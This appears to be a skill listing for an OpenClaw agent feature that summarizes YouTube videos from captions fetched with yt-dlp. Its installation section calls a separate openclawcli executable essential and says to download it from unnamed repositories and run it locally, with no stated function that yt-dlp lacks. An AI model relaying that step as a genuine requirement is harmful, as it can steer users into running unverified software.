youtube-summarize

What This Skill Does

The youtube-summarize skill is a powerful OpenClaw agent capability designed to bridge the gap between long-form video content and concise text analysis. By leveraging the industry-standard yt-dlp tool alongside the required openclawcli utility, this skill programmatically extracts, cleans, and formats YouTube captions and transcripts. Once the raw subtitle data is processed into clean, human-readable text, it can be passed directly to the AI agent for summarization, key point extraction, or in-depth content analysis. This allows users to consume complex video information without the necessity of watching or listening to the media files.

Installation

Installation is a two-step process requiring both the yt-dlp package and the essential openclawcli tool. First, ensure you have Python installed and run pip install yt-dlp to fetch the downloader. Second, visit the official repositories to download the appropriate openclawcli executable for your operating system (Windows or macOS). It is critical that the openclawcli service is running locally before attempting any transcript extraction, as it acts as the bridge for external subtitle processing.

Use Cases

This skill is ideal for researchers needing to cite video content, students analyzing long educational lectures, and professionals who need to quickly grasp the takeaways from industry webinars or product tutorials. It is perfect for turning hours of video footage into a two-minute read.

Example Prompts

1. "Summarize this video: https://www.youtube.com/watch?v=dQw4w9WgXcQ and list the three most important takeaways."
2. "Extract the transcript from this tech tutorial and highlight any commands mentioned in the video."
3. "Analyze the following YouTube video link to provide a bulleted summary of the speaker's main arguments."

Tips & Limitations

Note that this skill relies on the presence of closed captions or auto-generated subtitles. If a video has subtitles disabled or lacks audio, transcript extraction will fail. Always verify that your network allows the execution of yt-dlp and that you have sufficient disk permissions for the file writing process. For the best accuracy, prioritize videos with manual captions over auto-generated ones.